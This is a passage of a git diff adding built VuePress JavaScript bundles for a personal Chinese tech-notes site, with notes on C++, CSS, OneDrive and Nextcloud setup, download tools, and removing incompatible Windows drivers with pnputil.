+}tmp6 = {7, 'k'};
+
+int main(){
+    cout<<tmp6.a<<" "<<tmp6.b<<endl;
+    return 0;
+}
+

image-20210701224738657


字符串


std::strcmp


关于字符串与数字互相转换


规范性


头文件源文件


注释相关



函数

引用

C++ Primer Plus Chapter8.2

C++ 新增了一种复合类型 -- 引用变量; 引用是已定义的变量的别名;

C++ 为 & 符号赋予了除指示变量地址的另一个含义 -> 用于声明引用

// 例:
+int rats;
+int & rodents = rats;  // makes rodents an alias for rats
+
`,42);function fs(qs,_s){const a=p("ExternalLinkIcon");return i(),o("div",null,[r,s("blockquote",null,[u,d,s("p",null,[s("a",v,[n("引自:为什么VS中会建议宏转换为constexpr? - 知乎 (zhihu.com)"),e(a)])])]),k,m,s("p",null,[s("a",b,[n("节选自:constexpr 的来龙去脉-云科普blog (winkp.com)"),e(a)])]),h,s("ul",null,[s("li",null,[s("p",null,[s("a",g,[n("once pragma | Microsoft Docs"),e(a)])])]),f]),q,s("p",null,[s("a",_,[n("VS Code:使用VS的cl.exe编译运行C/C++程序_北冥有鱼wyh的博客-CSDN博客"),e(a)])]),s("p",null,[s("a",E,[n("VS:在windows上调用cl.exe编译运行C/C++程序 - 简书 (jianshu.com)"),e(a)])]),$,s("blockquote",null,[s("p",null,[s("a",x,[n("配置VSCode中调试C/C++环境 | LeoJhon.Song's Blog (leojhonsong.github.io)"),e(a)]),y,s("a",w,[n("Get Started with C++ and Mingw-w64 in Visual Studio Code"),e(a)]),C,s("a",B,[n("C++ programming with Visual Studio Code"),e(a)])]),A]),s("ul",null,[s("li",null,[S,s("p",null,[n("如果没有返回版本信息则说明未安装或配置其环境变量, 参阅 "),s("a",D,[n("C++ programming with Visual Studio Code --- 使用 Visual Studio Code 进行 C++ 编程"),e(a)]),n(),s("a",F,[n("C++ programming with Visual Studio Code-example-install-mingwx64"),e(a)]),n(" 完成其安装及环境变量的配置")]),P]),T,s("li",null,[O,s("ul",null,[V,s("li",null,[s("p",null,[n("如果没有看到检测到的项目而是让自定义配置文件的话那么可以参考 "),s("a",R,[n("配置VSCode中调试C/C++环境 | LeoJhon.Song's Blog (leojhonsong.github.io)"),e(a)]),n(" 中的配置项")])])])])]),I,s("blockquote",null,[s("p",null,[n("gcc std 报错: "),s("a",z,[n("c++ - undefined reference to 'std::cout' - Stack Overflow"),e(a)])])]),G,N,W,M,s("ul",null,[s("li",null,[n("之前也接触过快速生成 python 文件的函数关系调用图, 记得是 [code2flow]("),s("a",U,[n("scottrogowski/code2flow: Pretty good call graphs for dynamic languages (github.com)"),e(a)]),n(")")])]),j,L,Y,Z,s("ul",null,[K,s("li",null,[H,s("ul",null,[X,s("li",null,[s("p",null,[n("然后在合适的位置创建两个文件 "),s("a",J,[n("tree2dotx"),e(a)]),n(" 和 "),Q]),ss])])])]),ns,as,s("ul",null,[es,s("li",null,[s("a",ts,[n("官网Wiki: tceetree / Wiki / Home (sourceforge.net)"),e(a)])])]),ls,ps,is,os,cs,rs,us,s("p",null,[s("a",ds,[n("官方教程: Code Graph - Visual Studio Marketplace"),e(a)])]),vs,ks,s("ul",null,[s("li",null,[n("安装按成后才发现是一款代码分析软件, 还挺新的, 有 "),s("a",ms,[n("2021 的 FreeTrial 版本"),e(a)])])]),bs,s("p",null,[s("a",hs,[n("c++结构体几种初始化方法_skywf的博客-CSDN博客_c++ 结构体初始化"),e(a)])]),gs])}const xs=l(c,[["render",fs],["__file","CPP.html.vue"]]);export{xs as default}; diff --git a/assets/CPP.html-b79d644a.js b/assets/CPP.html-b79d644a.js new file mode 100644 index 0000000000..485b498707 --- /dev/null +++ b/assets/CPP.html-b79d644a.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-177841ec","path":"/Language/CPlusPlus/CPP.html","title":"C++","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"VisualStudio2019 相关","slug":"visualstudio2019-相关","link":"#visualstudio2019-相关","children":[{"level":3,"title":"为什么VS中会建议宏转换为constexpr?","slug":"为什么vs中会建议宏转换为constexpr","link":"#为什么vs中会建议宏转换为constexpr","children":[]},{"level":3,"title":"C4996","slug":"c4996","link":"#c4996","children":[]},{"level":3,"title":"#pragma once","slug":"pragma-once","link":"#pragma-once","children":[]}]},{"level":2,"title":"VSCode","slug":"vscode","link":"#vscode","children":[{"level":3,"title":"在 VSCode 中调试 C++ 程序","slug":"在-vscode-中调试-c-程序","link":"#在-vscode-中调试-c-程序","children":[]}]},{"level":2,"title":"实用工具","slug":"实用工具","link":"#实用工具","children":[{"level":3,"title":"快捷生成函数调用关系图","slug":"快捷生成函数调用关系图","link":"#快捷生成函数调用关系图","children":[]}]},{"level":2,"title":"数据结构","slug":"数据结构","link":"#数据结构","children":[{"level":3,"title":"结构体","slug":"结构体","link":"#结构体","children":[]},{"level":3,"title":"字符串","slug":"字符串","link":"#字符串","children":[]}]},{"level":2,"title":"规范性","slug":"规范性","link":"#规范性","children":[{"level":3,"title":"头文件源文件","slug":"头文件源文件","link":"#头文件源文件","children":[]},{"level":3,"title":"注释相关","slug":"注释相关","link":"#注释相关","children":[]}]},{"level":2,"title":"函数","slug":"函数","link":"#函数","children":[{"level":3,"title":"引用","slug":"引用","link":"#引用","children":[]}]}],"git":{"createdTime":1679368870000,"updatedTime":1686705494000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":18.3,"words":5491},"filePathRelative":"Language/CPlusPlus/CPP.md","localizedDate":"2023年3月21日","excerpt":""}');export{l as data}; diff --git a/assets/CSS.html-6a4b9051.js b/assets/CSS.html-6a4b9051.js new file mode 100644 index 0000000000..75e3f113a7 --- /dev/null +++ b/assets/CSS.html-6a4b9051.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-4fc5795e","path":"/%E5%89%8D%E7%AB%AF/CSS.html","title":"CSS","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"属性","slug":"属性","link":"#属性","children":[{"level":3,"title":"overflow","slug":"overflow","link":"#overflow","children":[]},{"level":3,"title":"padding","slug":"padding","link":"#padding","children":[]},{"level":3,"title":"margin","slug":"margin","link":"#margin","children":[]}]},{"level":2,"title":"布局","slug":"布局","link":"#布局","children":[{"level":3,"title":"Flex","slug":"flex","link":"#flex","children":[]}]}],"git":{"createdTime":1675222387000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":3.44,"words":1032},"filePathRelative":"前端/CSS.md","localizedDate":"2023年2月1日","excerpt":""}');export{e as data}; diff --git a/assets/CSS.html-85a8471e.js b/assets/CSS.html-85a8471e.js new file mode 100644 index 0000000000..90f55851d1 --- /dev/null +++ b/assets/CSS.html-85a8471e.js @@ -0,0 +1,13 @@ +import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r,o,c,b as e,e as n,d as a,f as l}from"./app-893ba623.js";const d={},i=l('

CSS


属性

overflow

',5),p={href:"https://www.w3school.com.cn/cssref/pr_pos_overflow.asp",target:"_blank",rel:"noopener noreferrer"},h=l('

image-20220319182820529

overflow 属性规定当内容溢出元素框时发生的事情。

描述
visible默认值。内容不会被修剪,会呈现在元素框之外。
hidden内容会被修剪,并且其余内容是不可见的。
scroll内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。
auto如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。
inherit规定应该从父元素继承 overflow 属性的值。

padding

',5),u={href:"https://www.w3school.com.cn/cssref/pr_padding.asp",target:"_blank",rel:"noopener noreferrer"},g=l(`

设置 p 元素的 4 个内边距:

p
+  {
+  padding:2cm 4cm 3cm 4cm;
+  }
+

image-20220319194651640

padding 简写属性在一个声明中设置所有内边距属性。

这个简写属性设置元素所有内边距的宽度,或者设置各边上内边距的宽度。行内非替换元素上设置的内边距不会影响行高计算;因此,如果一个元素既有内边距又有背景,从视觉上看可能会延伸到其他行,有可能还会与其他内容重叠。元素的背景会延伸穿过内边距。不允许指定负边距值

描述
auto浏览器计算内边距。
length规定以具体单位计的内边距值,比如像素、厘米等。默认值是 0px。
%规定基于父元素的宽度的百分比的内边距。
inherit规定应该从父元素继承内边距。

margin

`,9),x={href:"https://www.w3school.com.cn/cssref/pr_margin.asp",target:"_blank",rel:"noopener noreferrer"},m=l(`

设置 p 元素的 4 个外边距:

p
+  {
+  margin:2cm 4cm 3cm 4cm;
+  }
+

margin 简写属性在一个声明中设置所有外边距属性。该属性可以有 1 到 4 个值。

这个简写属性设置一个元素所有外边距的宽度,或者设置各边上外边距的宽度。

块级元素的垂直相邻外边距会合并,而行内元素实际上不占上下外边距。行内元素的的左右外边距不会合并。同样地,浮动元素的外边距也不会合并。允许指定负的外边距值,不过使用时要小心

描述
auto浏览器计算外边距。
length规定以具体单位计的外边距值,比如像素、厘米等。默认值是 0px。
%以包含元素宽度的百分比指定外边距。
inherit规定应该从父元素继承外边距。

布局

Flex

`,9),f={href:"https://www.runoob.com/w3cnote/flex-grammar.html",target:"_blank",rel:"noopener noreferrer"},b={href:"https://www.cnblogs.com/hellocd/p/10443237.html",target:"_blank",rel:"noopener noreferrer"},v=l('

2009 年,W3C 提出了一种新的方案 ---- Flex 布局,可以简便、完整、响应式地实现各种页面布局。目前,它已经得到了所有浏览器的支持,这意味着,现在就能很安全地使用这项功能。

Flexboxflexible box 的简称, 是 CSS3 引入的新的布局模式。它决定了元素如何在页面上排列,使它们能在不同的屏幕尺寸和设备下可预测地展现出来。

Flexbox 能够扩展和收缩 flex 容器内的元素, 以最大限度地填充可用空间; 与早期布局方式相比, Flexbox 是一种更为强大的布局方式. 其可以:


flex 属性

',6),_={href:"https://zhuanlan.zhihu.com/p/136223806",target:"_blank",rel:"noopener noreferrer"},y=l(`

flex 属性是 flex-grow, flex-shrinkflex-basis 的简写,默认值为0 1 auto。后两个属性可选

.item {
+  flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
+}
+

该属性有两个快捷值:auto (1 1 auto)none (0 0 auto)

建议优先使用这个属性,而不是单独写三个分离的属性,因为浏览器会推算相关值。


`,5);function k(w,S){const t=r("ExternalLinkIcon");return o(),c("div",null,[i,e("blockquote",null,[e("p",null,[e("a",p,[n("CSS overflow 属性 (w3school.com.cn)"),a(t)])])]),h,e("blockquote",null,[e("p",null,[e("a",u,[n("CSS padding 属性 (w3school.com.cn)"),a(t)])])]),g,e("blockquote",null,[e("p",null,[e("a",x,[n("CSS margin 属性 (w3school.com.cn)"),a(t)])])]),m,e("blockquote",null,[e("p",null,[e("a",f,[n("Flex 布局语法教程 | 菜鸟教程 (runoob.com)"),a(t)])]),e("p",null,[e("a",b,[n("弹性布局(display:flex;)属性详解 - cdgogo - 博客园 (cnblogs.com)"),a(t)])])]),v,e("blockquote",null,[e("p",null,[e("a",_,[n("flex:1 到底代表什么? - 知乎 (zhihu.com)"),a(t)])])]),y])}const B=s(d,[["render",k],["__file","CSS.html.vue"]]);export{B as default}; diff --git a/assets/DailyLife.html-09b2e18a.js b/assets/DailyLife.html-09b2e18a.js new file mode 100644 index 0000000000..860c5e546a --- /dev/null +++ b/assets/DailyLife.html-09b2e18a.js @@ -0,0 +1,164 @@ +import{_ as l}from"./plugin-vue_export-helper-c27b6911.js";import{r as i,o,c as r,b as e,e as n,d as s,f as t}from"./app-893ba623.js";const c={},d=t('

日常

Programming

行尾序列

CLion 编辑代码保存时会自动替换行尾为当前行尾序列。

20211221092252
在 Windows 下使用 CLion, 使用回车换行作为行尾可以正常编译运行代码

20211221092905

20211221092951

单独使用回车或换行作为行尾时会编译出错


交流社区

HackerTalk

',13),p={href:"https://hackertalk.net/",target:"_blank",rel:"noopener noreferrer"},u=e("p",null,"作者初衷是打造一款程序员社交平台, 界面很对味, 使用体验不错, 就是略显冷清了",-1),h=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202205172131575.png",alt:"image-20220517213112403"})],-1),m=e("hr",null,null,-1),g=e("h2",{id:"路由器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#路由器","aria-hidden":"true"},"#"),n(" 路由器")],-1),b={href:"https://www.cnblogs.com/fogwang/p/10735487.html",target:"_blank",rel:"noopener noreferrer"},_=t(`

小米路由器 DNS DHCP 后使用 EDGE 浏览器似乎经常显示 无法访问 Internet, 具体原因不清楚

手动将 DNS 改为

首选:119.29.29.29
+备选:182.254.116.116
+

后新建页面后似乎可以恢复正常

上述 DNS 为 DNSPod的 Public DNS+, 是目前国内第一家支持ECS的公共DNS,是DNSPod推出的公共域名解析服务,可以为全网用户提供域名的公共递归解析服务


小米

小爱音箱Pro连不上电脑

[大佬们,小爱音箱pro蓝牙电脑搜索不到【小爱同学吧】_百度贴吧 (baidu.com)](https://tieba.baidu.com/p/8487114265#:~:text=检查电脑的蓝牙设置,确保蓝牙开关已经打开,并且在“设备管理器”中查看是否已经启用了蓝牙设备。 3. 尝试在电脑端重新连接小爱音箱 Pro,可以尝试在蓝牙设备列表中选择小爱音箱,Pro,并输入配对码进行配对。 4. 尝试在手机上连接小爱音箱 Pro,然后尝试在电脑上连接同一个网络下的其他设备,以判断是否是音箱本身的问题。)

在小爱音箱APP中打开蓝牙自发现后手机都可以搜到小爱音箱的蓝牙, 唯独电脑怎么重启蓝牙都搜不到, 最后在贴吧看到一个老哥给出了正解, 将 Win 的蓝牙设备发现模式改为 高级 就能搜到小爱音箱Pro的蓝牙了

image-20231020225819202


证书

`,13),v={href:"https://www.bilibili.com/video/BV1ZR4y1g7tD?spm_id_from=333.851.b_7265636f6d6d656e64.1",target:"_blank",rel:"noopener noreferrer"},f=e("p",null,"[计算机行业证书--哪些值得考? | ProcessOn免费在线作图,在线流程图,在线思维导图](https://www.processon.com/view/link/61c584f963768939a3694478#map 作者:王大飞op https://www.bilibili.com/read/cv14636458?spm_id_from=333.788.b_636f6d6d656e74.7 出处:bilibili)",-1),k=e("p",null,"建议是能力足够了随便去刷刷, 有公司报销可以考虑考考(",-1),E=e("hr",null,null,-1),y=e("h3",{id:"软考证书",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#软考证书","aria-hidden":"true"},"#"),n(" 软考证书")],-1),x={href:"https://www.ruankao.org.cn/",target:"_blank",rel:"noopener noreferrer"},w=e("p",null,"工业和信息化部承办的, 目前国企事业单位中含金量认可度最高的计算机行业证书",-1),A=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20220118105139.png",alt:"20220118105139"})],-1),B=e("blockquote",null,[e("p",null,[n("一般只有中级以上才有用, 在企事业单位工作或者项目与其有对接那么考个软考证书帮助比较大"),e("br"),n(" 打算在一线城市发展积分落户的话也有计分")])],-1),D=e("hr",null,null,-1),q=e("h3",{id:"计算机程序设计能力考试-pat",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#计算机程序设计能力考试-pat","aria-hidden":"true"},"#"),n(" 计算机程序设计能力考试(PAT)")],-1),C={href:"https://www.patest.cn/",target:"_blank",rel:"noopener noreferrer"},P=e("p",null,"浙大发起承办, 乙,甲,顶级有用, 主要考察算法能力, 行业认可度比较高",-1),S=e("hr",null,null,-1),N=e("h3",{id:"项目管理职业资格认证-pmi",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#项目管理职业资格认证-pmi","aria-hidden":"true"},"#"),n(" 项目管理职业资格认证(PMI)")],-1),W={href:"http://exam.chinapmp.cn/",target:"_blank",rel:"noopener noreferrer"},M=t('

PMI 所有证书

缩写名称
PMP项目管理
PMI-ACP敏捷项目管理
PfMP项目组合管理
PgMP项目集管理
CAPM助理项目管理
PMI-RMP项目风险管理
PMI-SP进度管理

比较推荐的是: PMP(项目管理) 和 PMI-ACP(敏捷项目管理)

需要报培训班计学时才能考且有相关年龄限制(费用一般 2K ~ 7K 不等)

学历年龄限制
不限学历年满 26 岁
有学士学位年满 24 岁
有硕士及以上学位不限年龄

想转管理岗可以考虑考个这个证书

不过证书有年限, 期间需要积累 PDU 并加钱才能续期


华为认证

',10),T={href:"https://cn.e-learning.huawei.com/#/huaweiTenant/Certification",target:"_blank",rel:"noopener noreferrer"},F=t('

得加钱(


下载


FDM

防病毒配置

',6),U={href:"https://bbs.huorong.cn/thread-60060-1-1.html",target:"_blank",rel:"noopener noreferrer"},I=t('

以火绒为例:

image-20230731151418988

注意这里的 %path% 指的是下载文件的保存路径而非上面填写的火绒的路径

但是实际上下载后会调起火绒UI并查杀该文件, 用户手动关闭火绒UI(点右上角的X关闭按钮)后 FDM 上的 正在检测病毒 才会停止, 总体来说体验不是很流畅, 因此后面不打算配置了

不过也可以手动检测:

image-20230731151658502

image-20230731151708991

image-20230731151720438

手动关闭火绒UI后

image-20230731151925117


IDM

',12),z={href:"https://blog.csdn.net/qq_42951560/article/details/120678847",target:"_blank",rel:"noopener noreferrer"},O=t('

在 Edge 上安装 IDM 扩展

打开 IDM 安装目录 找到 IDMGCExt.crx

image-20220416092234213

在 Edge 扩展中打开 开发人员模式:

image-20220416092329182

IDMGCExt.crx 拖动到 Edge 扩展界面即可安装扩展


aria2


超星相关


没有下载选项的 PDF

',13),G={href:"https://www.zhihu.com/question/448827791/answer/1783365679",target:"_blank",rel:"noopener noreferrer"},V=e("li",null,[e("code",null,"F12"),n(" 找到 "),e("code",null,"objectid"),n(" 然后替换下面的 "),e("code",null,"[objectid]"),n(" 并打开链接"),e("br"),e("code",null,"https://mooc1-1.chaoxing.com/ananas/status/[objectid]?flag=normal")],-1),L=e("li",null,[n("打开之后是个响应页, 找到 "),e("code",null,"pdf"),n(" 字样, 后面跟着的就是直链")],-1),H=e("hr",null,null,-1),R={href:"https://chrome.google.com/webstore/detail/%E8%B6%85%E6%98%9F%E5%AD%A6%E4%B9%A0%E9%80%9A%E8%BE%85%E5%8A%A9%E6%8F%92%E4%BB%B6/kejppjboemkbampcomibgpenbmdpimol/related",target:"_blank",rel:"noopener noreferrer"},X=t(`

搜题目解析

ppkao.com
+51xuexiaoyi.com
+jiandati.com
+cnitpm.com
+shangxueba.cn
+datiyi.cn
+ysxqzs.cn
+doc.xuehai.net
+imdza.org.cn
+shangxueba.com
+zyszedu.com
+ixueyi.com
+bvchati.cn
+kjfwxy.com
+yc-qx.cn
+hmyllh.com
+jsgncl.org.cn
+zhaokaoti.com
+http://www.zslangqiao.com/
+http://www.tfsenabo.com/
+zuixu.com
+educity.cn
+xcsdbzx.com
+nuchati.cn
+xmkqhs.com
+hzssc.org
+http://ask.mzhishi.com/
+nviv.cn
+30596.cn
+asklib.com
+

云盘


OneDrive

`,7),j=e("br",null,null,-1),Y={href:"https://blog.csdn.net/u014389786/article/details/54095019",target:"_blank",rel:"noopener noreferrer"},Q=e("hr",null,null,-1),J=e("h3",{id:"e5",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#e5","aria-hidden":"true"},"#"),n(" E5")],-1),K={href:"https://www.bilibili.com/video/BV1B7411C7wb",target:"_blank",rel:"noopener noreferrer"},Z=e("hr",null,null,-1),$=e("li",null,[e("p",null,"E5开发者账号是E3账号的升级版,可免费续期并体验Office365的全部功能")],-1),ee=e("li",null,[e("p",null,"OD的单子账户容量最高15T,理论上可以注册25个子账户")],-1),ne=e("hr",null,null,-1),ae=e("h4",{id:"申请流程",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#申请流程","aria-hidden":"true"},"#"),n(" 申请流程")],-1),se={href:"https://developer.microsoft.com/zh-cn/",target:"_blank",rel:"noopener noreferrer"},te=e("br",null,null,-1),le=e("img",{src:"http://cdn.ayusummer233.top/img/20210403092546.png",alt:"20210403092546"},null,-1),ie=t('
  • 加入开发人员计划
    2021040309350120210403093524
  • 填写基本信息并进入下一步
  • 设置开发者订阅
  • 转到订阅进行进一步设置 20210403094241
  • 进入OD
    20210403094714
  • ',5),oe={href:"https://admin.microsoft.com/Adminportal/Home?source=applauncher#/users",target:"_blank",rel:"noopener noreferrer"},re=e("ul",null,[e("li",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20210403095449.png",alt:"20210403095449"})]),e("li",null,"更改空间即可"),e("li",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20210403095727.png",alt:"20210403095727"})])],-1),ce=e("li",null,[n("每个E5账号可以注册25个子账号,除去管理员和一个空子账号有23个账号 "),e("ul",null,[e("li",null,"当子账号>5 && 每个子账号的OD容量只剩0.5T时可以向微软提交工单扩容到25T")])],-1),de=e("hr",null,null,-1),pe=e("h4",{id:"续期",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#续期","aria-hidden":"true"},"#"),n(" 续期")],-1),ue=e("ul",null,[e("li",null,"理论上只需要调用Office365的API,可以部署OneIndex或者Cloudreve"),e("li",null,"绑定 Github 账号并保持活跃")],-1),he=e("hr",null,null,-1),me=e("h6",{id:"oneindex",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#oneindex","aria-hidden":"true"},"#"),n(" OneIndex")],-1),ge={href:"https://www.bilibili.com/video/BV1T64y1u7Z5",target:"_blank",rel:"noopener noreferrer"},be=t(`

    自己懒得搭了( 配合本地OneDriveBusiness当同步分享盘了
    20210403114429


    同步目录空格路径解决

    默认情况下 OneDrive 的同步目录根目录所在文件夹名称是 OneDrive - 组织名称 的形式, 中间是有两个空格的, 这可太不优雅了, 可以通过创建符号链接的形式来解决这个问题
    管理员模式打开 CMD 执行如下指令:

    # 创建符号链接 E:\\OneDriveE5\\Pro 指向 E:\\OneDriveE5\\mixon\\OneDrive - ayusummer
    +mklink /J OneDriveE5\\mix "E:\\OneDriveE5\\mixon\\OneDrive - ayusummer"
    +

    将云盘挂载到本地(RaiDrive)

    `,8),_e=t('
  • 云盘支持


  • 效果:

  • ',2),ve={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EY5FYay5Go1En2aduguGoIsBErdJ8QCQT_r4BwxspAB7qw?e=VFsSSc",target:"_blank",rel:"noopener noreferrer"},fe=e("br",null,null,-1),ke=e("img",{src:"http://cdn.ayusummer233.top/img/20210404203117.png",alt:"20210404203117"},null,-1),Ee={href:"https://www.raidrive.com/",target:"_blank",rel:"noopener noreferrer"},ye=e("hr",null,null,-1),xe=e("ul",null,[e("li",null,[n("安装完后点击工具栏中的"),e("code",null,"添加"),n("按钮进行添加,点击确定后会弹出登录界面,按照你要挂载云盘的账号登录并授权即可"),e("br"),e("img",{src:"http://cdn.ayusummer233.top/img/20210405192941.png",alt:"20210405192941"})])],-1),we=e("blockquote",null,[e("p",null,"我这里用的是E5开发者订阅里的OneDrive Business,墙内是可以直连的,不用挂代理;")],-1),Ae=e("hr",null,null,-1),Be={href:"https://ayusummer-my.sharepoint.com/:u:/g/personal/233_ayusummer_onmicrosoft_com/EdWtKYYX0yRMrz5J8JLHEhMBRUPM_9xJu00VVpxWUCc_Uw?e=i8cZt2",target:"_blank",rel:"noopener noreferrer"},De=e("img",{src:"http://cdn.ayusummer233.top/img/20210405195251.png",alt:"20210405195251"},null,-1),qe=e("hr",null,null,-1),Ce=e("h3",{id:"微软商店中的icloud",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#微软商店中的icloud","aria-hidden":"true"},"#"),n(" 微软商店中的iCloud")],-1),Pe=e("ul",null,[e("li",null,"有点糟心,Microsoft Store里下载的iCloud只能装在系统盘,并且没有找到有效的方法能够将其移到非系统盘")],-1),Se=e("br",null,null,-1),Ne=e("br",null,null,-1),We={href:"https://www.zhihu.com/question/393865503/answer/1307730087",target:"_blank",rel:"noopener noreferrer"},Me=e("hr",null,null,-1),Te=e("h3",{id:"cloudreve",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#cloudreve","aria-hidden":"true"},"#"),n(" Cloudreve")],-1),Fe={href:"https://docs.cloudreve.org/getting-started/install",target:"_blank",rel:"noopener noreferrer"},Ue=t('

    WebDav 使用

    可用于双向同步云盘和本地文件, 需要使用第三方 Webdav 客户端 Raidrive

    首先需要在浏览器 cloudreve 页面的 WebDAV 选项卡添加账户, 并记住提示中的地址和登录名以及新建账号的密码

    image-20220829110858019

    然后打开 Raidrive 配置下 WebDAV 挂载

    image-20220829110810634

    然后就可以在文件资源管理器中看到了

    image-20220829111044719


    Nextcloud

    服务器搭建

    ',12),Ie={href:"https://github.com/nextcloud/all-in-one#nextcloud-all-in-one",target:"_blank",rel:"noopener noreferrer"},ze=t(`

    ubuntu:

    sudo snap install nextcloud
    +

    安装完成后访问 80 端口配置管理员账密即可使用


    配置

    当有多张网卡时, 似乎默认情况下只允许了第一张网卡访问 web 页面, 可以手动到 /var/snap/nextcloud/current/nextcloud/config/config.php 配置 trusted_domains 以允许通过其他网卡访问web

      'trusted_domains' => 
    +  array (
    +    0 => '10.10.10.21',
    +    1 => '192.168.1.21',
    +  ),
    +

    Microsoft


    Edge


    扩展


    Windows

    内核隔离

    `,17),Oe={href:"https://mos86.com/95722.html",target:"_blank",rel:"noopener noreferrer"},Ge=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218173047.png",alt:"20211218173047-内核隔离警告"})],-1),Ve=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218173109.png",alt:"20211218173109-不兼容驱动"})],-1),Le=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218180744.png",alt:"20211218180744-不兼容驱动详细信息"})],-1),He={href:"https://administrator.pro/tutorial/windows-10-core-isolation-remove-incompatible-drivers-769558697.html",target:"_blank",rel:"noopener noreferrer"},Re=e("br",null,null,-1),Xe={href:"https://answers.microsoft.com/en-us/windows/forum/all/core-isolation-memory-integrity-not-turning-on/d49ca385-77a8-4390-a4e1-b96224ba3fee?auth=1",target:"_blank",rel:"noopener noreferrer"},je=e("br",null,null,-1),Ye={href:"https://docs.microsoft.com/zh-cn/windows-hardware/drivers/devtest/pnputil-command-syntax",target:"_blank",rel:"noopener noreferrer"},Qe=e("br",null,null,-1),Je={href:"https://docs.microsoft.com/zh-cn/windows-hardware/drivers/devtest/pnputil-examples",target:"_blank",rel:"noopener noreferrer"},Ke=t(`

    mark 下上面每个不兼容驱动的 发布名称

    管理员模式打开 powershell, 可以先查看下驱动列表

    pnputil /enum-drivers
    +

    筛下不兼容驱动的相关信息

    发布名称:     oem61.inf
    +原始名称:      ew_usbccgpfilter.inf
    +提供程序名称:      Huawei
    +类名:         USB
    +类 GUID:         {36fc9e60-c465-11cf-8056-444553540000}
    +驱动程序版本:     05/18/2016 1.0.9.0
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +
    +发布名称:     oem91.inf
    +原始名称:      hw_cdcacm.inf
    +提供程序名称:      HUAWEI Technologies CO.,LTD
    +类名:         Ports
    +类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
    +驱动程序版本:     05/18/2016 1.0.26.0
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +
    +发布名称:     oem62.inf
    +原始名称:      hw_quser.inf
    +提供程序名称:      Huawei Incorporated
    +类名:         Ports
    +类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
    +驱动程序版本:     11/28/2016 2.0.6.725
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +
    +发布名称:     oem34.inf
    +原始名称:      hw_usbdev.inf
    +提供程序名称:      Huawei Incorporated
    +类名:         Ports
    +类 GUID:         {4d36e978-e325-11ce-bfc1-08002be10318}
    +驱动程序版本:     04/20/2012 1.3.0.0
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +
    +发布名称:     oem116.inf
    +原始名称:      hw_cdcmdm.inf
    +提供程序名称:      HUAWEI Technologies Co.,LTD
    +类名:         Modem
    +类 GUID:         {4d36e96d-e325-11ce-bfc1-08002be10318}
    +驱动程序版本:     11/28/2016 1.0.26.0
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +
    +发布名称:     oem110.inf
    +原始名称:      hw_qumdm.inf
    +提供程序名称:      Huawei Incorporated
    +类名:         Modem
    +类 GUID:         {4d36e96d-e325-11ce-bfc1-08002be10318}
    +驱动程序版本:     05/18/2016 2.0.6.725
    +签名者姓名:        Microsoft Windows Hardware Compatibility Publisher
    +

    执行如下命令删除相应驱动程序包

    pnputil /delete-driver oem61.inf
    +pnputil /delete-driver oem91.inf
    +pnputil /delete-driver oem62.inf
    +pnputil /delete-driver oem34.inf
    +pnputil /delete-driver oem116.inf
    +pnputil /delete-driver oem110.inf
    +

    20211218181950-删除不兼容驱动

    重新扫描

    20211218182035

    20211218182146

    这两个驱动实在找不到(, 驱动检测里没有, C:\\Windows\\System32\\DriverStore\\FileRepository 也没有

    `,12),Ze={href:"https://dnf.gamebbs.qq.com/thread-1362897-1-1.html",target:"_blank",rel:"noopener noreferrer"},$e=t('

    打开 C:\\Windows\\System32\\drivers 可以找到 TesMon.sys

    20211218182922-TesMon.sys

    删除 TesMon.sys 然后重新重新扫描

    20211218190522-UniFairySys.sys

    20211218192308-UniFairySys.sys-搜索结果

    20211218192422-UniFairySys.sys-属性

    20211218192556-UniFairySys.sys-数字签名

    20211218192739-UniFairySys.sys-位置

    C:\\Windows\\System32 目录下, everything 检索结果中的另一个也出现在了其属性中的 "原始名称"字段中, 且检索资料时也有说这个文件导致崩崩崩游戏蓝屏之类, 所以将此文件剪切到其他目录再重新扫描试试, 后面如果有关于此文件的报错再将其放回去

    20211218193109

